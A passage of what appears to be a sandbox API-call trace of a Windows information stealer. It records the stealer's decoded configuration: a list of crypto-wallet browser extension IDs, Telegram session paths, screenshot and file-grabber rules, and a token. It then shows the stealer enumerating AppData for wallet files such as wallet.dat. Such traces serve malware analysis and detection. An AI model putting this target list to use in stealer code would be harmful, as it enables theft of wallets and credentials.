Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3402 [0266.329] LocalAlloc (uFlags=0x40, uBytes=0x1b14) returned 0x700f70 [0266.329] StrCpyW (in: psz1=0x6fe628, psz2="*tor*,*log*" | out: psz1="*tor*,*log*") returned="*tor*,*log*" [0266.329] LocalFree (hMem=0x700f70) returned 0x0 [0266.329] StrToIntW (lpSrc="26") returned 26 [0266.329] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f4848 [0266.330] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f4848, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.330] PathCombineW (in: pszDest=0x6f4848, pszDir="C:\\Users\\kEecfMwgj\\AppData\\Roaming", pszFile="WalletWasabi\\\\Client" | out: pszDest="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\WalletWasabi\\\\Client") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\WalletWasabi\\\\Client" [0266.330] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x700f70 [0266.330] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f4c98 [0266.330] StrCpyW (in: psz1=0x6f4c98, psz2="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\WalletWasabi\\\\Client" | out: psz1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\WalletWasabi\\\\Client") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\WalletWasabi\\\\Client" [0266.330] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\WalletWasabi\\\\Client\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\walletwasabi\\client\\*"), lpFindFileData=0x24f880 | out: lpFindFileData=0x24f880*(dwFileAttributes=0x6e284e, ftCreationTime.dwLowDateTime=0x751dc35e, ftCreationTime.dwHighDateTime=0x6f4848, ftLastAccessTime.dwLowDateTime=0x23, ftLastAccessTime.dwHighDateTime=0x24f89c, ftLastWriteTime.dwLowDateTime=0xe1, ftLastWriteTime.dwHighDateTime=0x24f8e2, nFileSizeHigh=0x3a0043, nFileSizeLow=0x55005c, dwReserved0=0x650073, dwReserved1=0x730072, cFileName="\\kEecfMwgj\\AppData\\Roaming\\WalletWasabi\\\\CЁ", cAlternateFileName="䡈o䡈o")) returned 0xffffffff [0266.330] LocalFree (hMem=0x700f70) returned 0x0 [0266.331] LocalFree (hMem=0x6f4848) returned 0x0 [0266.331] LocalFree (hMem=0x6ef5a0) returned 0x0 [0266.331] LocalFree (hMem=0x6f1ee8) returned 0x0 [0266.331] LocalFree (hMem=0x6f8830) returned 0x0 [0266.331] LocalFree (hMem=0x6fb178) returned 0x0 [0266.333] LocalFree (hMem=0x6fe628) returned 0x0 [0266.333] StrStrW (lpFirst="ews_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="wlts_") returned 0x0 [0266.333] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6ef5a0 [0266.334] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f4848 [0266.334] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x706a60 [0266.334] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f4848, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.334] StrCpyW (in: psz1=0x706a60, psz2="C:\\Users\\kEecfMwgj\\AppData\\Roaming" | out: psz1="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming" [0266.334] lstrlenW (lpString="\\*") returned 2 [0266.334] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 34 [0266.334] LocalAlloc (uFlags=0x40, uBytes=0x148) returned 0x6bf278 [0266.334] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\*"), lpFindFileData=0x24f858 | out: lpFindFileData=0x24f858*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x96360130, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x96360130, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a, dwReserved1=0x6e284e, cFileName=".", cAlternateFileName="")) returned 0x6ca500 [0266.335] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0266.335] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0266.335] lstrcmpW (lpString1=".", lpString2="wallet.dat") returned -1 [0266.335] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f858 | out: lpFindFileData=0x24f858*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x96360130, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x96360130, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a, dwReserved1=0x6e284e, cFileName="..", cAlternateFileName="")) returned 1 [0266.335] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0266.335] lstrcmpW (lpString1="..", lpString2="wallet.dat") returned -1 [0266.335] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f858 | out: lpFindFileData=0x24f858*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4aece6b0, ftCreationTime.dwHighDateTime=0x1d8981e, ftLastAccessTime.dwLowDateTime=0x46067ab0, ftLastAccessTime.dwHighDateTime=0x1d8a423, ftLastWriteTime.dwLowDateTime=0x46067ab0, ftLastWriteTime.dwHighDateTime=0x1d8a423, nFileSizeHigh=0x0, nFileSizeLow=0x70dc, dwReserved0=0x1a, dwReserved1=0x6e284e, cFileName="2GOz_-.pdf", cAlternateFileName="")) returned 1 [0266.335] lstrcmpW (lpString1="2GOz_-.pdf", lpString2="wallet.dat") returned -1 [0266.335] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f858 | out: lpFindFileData=0x24f858*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x23c1bfe0, ftCreationTime.dwHighDateTime=0x1d89916, ftLastAccessTime.dwLowDateTime=0xa428d6c0, ftLastAccessTime.dwHighDateTime=0x1d89aa9, ftLastWriteTime.dwLowDateTime=0xa428d6c0, ftLastWriteTime.dwHighDateTime=0x1d89aa9, nFileSizeHigh=0x0, nFileSizeLow=0xbb28, dwReserved0=0x1a, dwReserved1=0x6e284e, cFileName="38ife5sgHT.doc", cAlternateFileName="38IFE5~1.DOC")) returned 1 [0266.335] lstrcmpW (lpString1="38ife5sgHT.doc", lpString2="wallet.dat") returned -1 [0266.335] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f858 | out: lpFindFileData=0x24f858*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa1772e50, ftCreationTime.dwHighDateTime=0x1d89977, ftLastAccessTime.dwLowDateTime=0xbca31800, ftLastAccessTime.dwHighDateTime=0x1d8a5ad, ftLastWriteTime.dwLowDateTime=0xbca31800, ftLastWriteTime.dwHighDateTime=0x1d8a5ad, nFileSizeHigh=0x0, nFileSizeLow=0x53df, dwReserved0=0x1a, dwReserved1=0x6e284e, cFileName="6GHIHgRuMo57L19IYwi.gif", cAlternateFileName="6GHIHG~1.GIF")) returned 1 [0266.335] lstrcmpW (lpString1="6GHIHgRuMo57L19IYwi.gif", lpString2="wallet.dat") returned -1 [0266.335] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f858 | out: lpFindFileData=0x24f858*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc2b39630, ftCreationTime.dwHighDateTime=0x1d89765, ftLastAccessTime.dwLowDateTime=0xcb491380, ftLastAccessTime.dwHighDateTime=0x1d8a4a6, ftLastWriteTime.dwLowDateTime=0xcb491380, ftLastWriteTime.dwHighDateTime=0x1d8a4a6, nFileSizeHigh=0x0, nFileSizeLow=0x14640, dwReserved0=0x1a, dwReserved1=0x6e284e, cFileName="6Q1W9eQdcFWm28.bmp", cAlternateFileName="6Q1W9E~1.BMP")) returned 1 [0266.335] lstrcmpW (lpString1="6Q1W9eQdcFWm28.bmp", lpString2="wallet.dat") returned -1 [0266.335] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f858 | out: lpFindFileData=0x24f858*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x37b8b200, ftCreationTime.dwHighDateTime=0x1d8a411, ftLastAccessTime.dwLowDateTime=0x1f9327e0, ftLastAccessTime.dwHighDateTime=0x1d8a47b, ftLastWriteTime.dwLowDateTime=0x1f9327e0, ftLastWriteTime.dwHighDateTime=0x1d8a47b, nFileSizeHigh=0x0, nFileSizeLow=0x7b74, dwReserved0=0x1a, dwReserved1=0x6e284e, cFileName="BnEIELlOy.pptx", cAlternateFileName="BNEIEL~1.PPT")) returned 1 [0266.335] lstrcmpW (lpString1="BnEIELlOy.pptx", lpString2="wallet.dat") returned -1 [0266.335] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f858 | out: lpFindFileData=0x24f858*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa4ed0c10, ftCreationTime.dwHighDateTime=0x1d8a086, ftLastAccessTime.dwLowDateTime=0x1f609560, ftLastAccessTime.dwHighDateTime=0x1d8a2ea, ftLastWriteTime.dwLowDateTime=0x1f609560, ftLastWriteTime.dwHighDateTime=0x1d8a2ea, nFileSizeHigh=0x0, nFileSizeLow=0x7c4d, dwReserved0=0x1a, dwReserved1=0x6e284e, cFileName="DuGMOmikP gPekMX.m4a", cAlternateFileName="DUGMOM~1.M4A")) returned 1 [0266.335] lstrcmpW (lpString1="DuGMOmikP gPekMX.m4a", lpString2="wallet.dat") returned -1 [0266.335] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f858 | out: lpFindFileData=0x24f858*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79778ee0, ftCreationTime.dwHighDateTime=0x1d8a543, ftLastAccessTime.dwLowDateTime=0x43594df0, ftLastAccessTime.dwHighDateTime=0x1d8a645, ftLastWriteTime.dwLowDateTime=0x43594df0, ftLastWriteTime.dwHighDateTime=0x1d8a645, nFileSizeHigh=0x0, nFileSizeLow=0x15aa7, dwReserved0=0x1a, dwReserved1=0x6e284e, cFileName="FGoqaS5X-biv-TQUcR.mp3", cAlternateFileName="FGOQAS~1.MP3")) returned 1 [0266.335] lstrcmpW (lpString1="FGoqaS5X-biv-TQUcR.mp3", lpString2="wallet.dat") returned -1 [0266.335] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f858 | out: lpFindFileData=0x24f858*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28969000, ftCreationTime.dwHighDateTime=0x1d8a739, ftLastAccessTime.dwLowDateTime=0x49867110, ftLastAccessTime.dwHighDateTime=0x1d8a741, ftLastWriteTime.dwLowDateTime=0x49867110, ftLastWriteTime.dwHighDateTime=0x1d8a741, nFileSizeHigh=0x0, nFileSizeLow=0x11971, dwReserved0=0x1a, dwReserved1=0x6e284e, cFileName="fnviSomaa.rtf", cAlternateFileName="FNVISO~1.RTF")) returned 1 [0266.335] lstrcmpW (lpString1="fnviSomaa.rtf", lpString2="wallet.dat") returned -1 [0266.335] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f858 | out: lpFindFileData=0x24f858*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x59c3b780, ftCreationTime.dwHighDateTime=0x1d8a44f, ftLastAccessTime.dwLowDateTime=0x8f88f7a0, ftLastAccessTime.dwHighDateTime=0x1d8a5ed, ftLastWriteTime.dwLowDateTime=0x8f88f7a0, ftLastWriteTime.dwHighDateTime=0x1d8a5ed, nFileSizeHigh=0x0, nFileSizeLow=0xd62c, dwReserved0=0x1a, dwReserved1=0x6e284e, cFileName="G4L9gVhgSbzV.pptx", cAlternateFileName="G4L9GV~1.PPT")) returned 1 [0266.335] lstrcmpW (lpString1="G4L9gVhgSbzV.pptx", lpString2="wallet.dat") returned -1 [0266.336] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f858 | out: lpFindFileData=0x24f858*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7050580, ftCreationTime.dwHighDateTime=0x1d8a3b4, ftLastAccessTime.dwLowDateTime=0x2fa88fe0, ftLastAccessTime.dwHighDateTime=0x1d8a5fb, ftLastWriteTime.dwLowDateTime=0x2fa88fe0, ftLastWriteTime.dwHighDateTime=0x1d8a5fb, nFileSizeHigh=0x0, nFileSizeLow=0x6ade, dwReserved0=0x1a, dwReserved1=0x6e284e, cFileName="gswrI.mp3", cAlternateFileName="")) returned 1 [0266.336] lstrcmpW (lpString1="gswrI.mp3", lpString2="wallet.dat") returned -1 [0266.336] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f858 | out: lpFindFileData=0x24f858*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe0c64650, ftCreationTime.dwHighDateTime=0x1d897cd, ftLastAccessTime.dwLowDateTime=0xa10a12e0, ftLastAccessTime.dwHighDateTime=0x1d898ee, ftLastWriteTime.dwLowDateTime=0xa10a12e0, ftLastWriteTime.dwHighDateTime=0x1d898ee, nFileSizeHigh=0x0, nFileSizeLow=0x5d59, dwReserved0=0x1a, dwReserved1=0x6e284e, cFileName="hGvBe.xlsx", cAlternateFileName="HGVBE~1.XLS")) returned 1 [0266.336] lstrcmpW (lpString1="hGvBe.xlsx", lpString2="wallet.dat") returned -1 [0266.336] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f858 | out: lpFindFileData=0x24f858*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7964c250, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7964c250, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a, dwReserved1=0x6e284e, cFileName="Identities", cAlternateFileName="IDENTI~1")) returned 1 [0266.336] lstrcmpW (lpString1="Identities", lpString2="..") returned 1 [0266.336] lstrcmpW (lpString1="Identities", lpString2=".") returned 1 [0266.336] LocalAlloc (uFlags=0x40, uBytes=0xa28) returned 0x6f15b0 [0266.336] PathCombineW (in: pszDest=0x6f15b0, pszDir="C:\\Users\\kEecfMwgj\\AppData\\Roaming", pszFile="Identities" | out: pszDest="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Identities") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Identities" [0266.336] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f4ec0 [0266.336] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x706a60 [0266.336] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f4ec0, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.336] lstrcmpW (lpString1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Identities", lpString2="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.336] StrCpyW (in: psz1=0x6f4ec0, psz2="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Identities" | out: psz1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Identities") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Identities" [0266.336] StrCpyW (in: psz1=0x706a60, psz2="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Identities" | out: psz1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Identities") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Identities" [0266.336] lstrlenW (lpString="\\*") returned 2 [0266.336] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Identities") returned 45 [0266.336] LocalAlloc (uFlags=0x40, uBytes=0x15e) returned 0x706c80 [0266.337] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Identities\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\identities\\*"), lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7964c250, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7964c250, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca4c0 [0266.337] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0266.337] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0266.337] lstrcmpW (lpString1=".", lpString2="wallet.dat") returned -1 [0266.337] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7964c250, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7964c250, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName="..", cAlternateFileName="")) returned 1 [0266.337] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0266.337] lstrcmpW (lpString1="..", lpString2="wallet.dat") returned -1 [0266.337] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7964c250, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7964c250, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName="{31810C36-5D23-4CCE-A3B4-316DED195C38}", cAlternateFileName="{31810~1")) returned 1 [0266.337] lstrcmpW (lpString1="{31810C36-5D23-4CCE-A3B4-316DED195C38}", lpString2="..") returned 1 [0266.337] lstrcmpW (lpString1="{31810C36-5D23-4CCE-A3B4-316DED195C38}", lpString2=".") returned 1 [0266.337] LocalAlloc (uFlags=0x40, uBytes=0xa28) returned 0x6f2fe8 [0266.337] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Identities", pszFile="{31810C36-5D23-4CCE-A3B4-316DED195C38}" | out: pszDest="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}" [0266.337] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.337] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x706a60 [0266.337] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.337] lstrcmpW (lpString1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}", lpString2="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.337] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}" | out: psz1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}" [0266.337] StrCpyW (in: psz1=0x706a60, psz2="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}" | out: psz1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}" [0266.338] lstrlenW (lpString="\\*") returned 2 [0266.338] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}") returned 84 [0266.338] LocalAlloc (uFlags=0x40, uBytes=0x1ac) returned 0x706de8 [0266.338] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\identities\\{31810c36-5d23-4cce-a3b4-316ded195c38}\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7964c250, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7964c250, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.338] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0266.338] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0266.338] lstrcmpW (lpString1=".", lpString2="wallet.dat") returned -1 [0266.338] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7964c250, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7964c250, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="..", cAlternateFileName="")) returned 1 [0266.339] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0266.339] lstrcmpW (lpString1="..", lpString2="wallet.dat") returned -1 [0266.339] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7964c250, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7964c250, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="..", cAlternateFileName="")) returned 0 [0266.339] LocalFree (hMem=0x6f50e8) returned 0x0 [0266.339] LocalFree (hMem=0x706de8) returned 0x0 [0266.339] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.339] LocalFree (hMem=0x6f2fe8) returned 0x0 [0266.340] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7964c250, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7964c250, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName="{31810C36-5D23-4CCE-A3B4-316DED195C38}", cAlternateFileName="{31810~1")) returned 0 [0266.340] LocalFree (hMem=0x6f4ec0) returned 0x0 [0266.340] LocalFree (hMem=0x706c80) returned 0x0 [0266.340] FindClose (in: hFindFile=0x6ca4c0 | out: hFindFile=0x6ca4c0) returned 1 [0266.341] LocalFree 